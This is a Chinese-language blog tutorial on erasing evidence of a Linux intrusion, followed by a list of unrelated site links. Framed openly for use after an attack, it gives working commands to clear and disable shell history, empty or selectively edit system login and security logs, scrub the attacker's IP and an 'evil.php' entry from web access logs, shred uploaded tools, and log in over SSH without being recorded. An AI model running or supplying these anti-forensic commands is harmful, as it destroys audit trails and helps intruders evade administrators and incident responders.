Linux 入侵痕迹清理技巧
时间:2022-07-25
本文章向大家介绍Linux 入侵痕迹清理技巧,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
在攻击结束后,如何不留痕迹的清除日志和操作记录,以掩盖入侵踪迹,这其实是一个细致的技术活。你所做的每一个操作,都要被抹掉;你所上传的工具,都应该被安全地删掉。
01、清除history历史命令记录
第一种方式:
(1)编辑history记录文件,删除部分不想被保存的历史命令。
vim ~/.bash_history
(2)清除当前用户的history命令记录
history -c
第二种方式:
(1)利用vim特性删除历史命令
#使用vim打开一个文件
vi test.txt
# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0
# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history
# 清除保存.bash_history文件即可。
(2)在vim中执行自己不想让别人看到的命令
:set history=0
:!command
第三种方式:
通过修改配置文件/etc/profile,使系统不再保存命令记录。
HISTSIZE=0
第四种方式:
登录后执行下面命令,不记录历史命令(.bash_history)
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
02、清除系统日志痕迹
Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志。
/var/log/btmp 记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure 记录与安全相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
第一种方式:清空日志文件
清除登录系统失败的记录:
[root@centos]# echo > /var/log/btmp
[root@centos]# lastb //查询不到登录失败信息
清除登录系统成功的记录:
[root@centos]# echo > /var/log/wtmp
[root@centos]# last //查询不到登录成功的信息
清除相关日志信息:
清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令
清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令
清除安全日志记录:cat /dev/null > /var/log/secure
清除系统日志记录:cat /dev/null > /var/log/message
第二种方式:删除/替换部分日志
日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。
# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed -i '/自己的ip/'d /var/log/messages
# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure
03、清除web入侵痕迹
第一种方式:直接替换日志ip地址
sed -i 's/192.168.166.85/192.168.1.1/g' access.log
第二种方式:清除部分相关日志
# 使用grep -v来把我们的相关信息删除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/
04、文件安全删除工具
(1)shred命令
实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。
[root@centos]# shred -f -u -z -v -n 8 1.txt
shred: 1.txt: pass 1/9 (random)...
shred: 1.txt: pass 2/9 (ffffff)...
shred: 1.txt: pass 3/9 (aaaaaa)...
shred: 1.txt: pass 4/9 (random)...
shred: 1.txt: pass 5/9 (000000)...
shred: 1.txt: pass 6/9 (random)...
shred: 1.txt: pass 7/9 (555555)...
shred: 1.txt: pass 8/9 (random)...
shred: 1.txt: pass 9/9 (000000)...
shred: 1.txt: removing
shred: 1.txt: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 1.txt: removed
(2)dd命令
可用于安全地清除硬盘或者分区的内容。
dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数
(3)wipe
Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。
wipe filename
(4)Secure-Delete
Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。
srm filename
sfill filename
sswap /dev/sda1
smem
05、隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
- PostgreSQL主备环境搭建
- Tomcat集群session复制与Oracle的坑。。
- 用Keras+TensorFlow,实现ImageNet数据集日常对象的识别
- JavaWeb项目架构之Elasticsearch日志处理系统
- 分布式服务防雪崩熔断器,Hystrix理论+实战。
- JavaWeb项目架构之Kafka分布式日志队列
- 如何让Git记住用户名和密码
- 金融系统中正确的金额计算及存储方式
- 如何利用深度学习写诗歌(使用Python进行文本生成)
- 注意:字符串substring方法在jkd6,7,8中的差异。
- JavaWeb项目架构之NFS文件服务器
- 轻松几步搞定SSH连接Git配置
- 免费使用谷歌GPU资源训练自己的深度模型
- Git安装及配置5分钟快速教程
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 请停止使用Excel进行数据分析,升级到Python吧
- git版本控制器的相关操作
- 离线 Android Studio 环境
- Actor:人生如戏全靠演技--“三维度”逻辑编程语言的设计(3) 角色是一种特定的关系名不正言不顺角色才是真正的主人演员的天分再好的演技也需要角色好演员更需要好剧本
- 2.CSS选择器-CSS基础
- es6 随性学习之let,const与var的区别
- 04-操作文件和目录 遇到的坑
- 1.CSS单位-CSS进阶
- Geode集群搭建
- 2.CSS特性-CSS进阶
- 5.图片-HTML基础
- geode的安装部署
- 3.CSS优先级-CSS进阶
- docker的相关操作
- 4.CSS引入方式-CSS进阶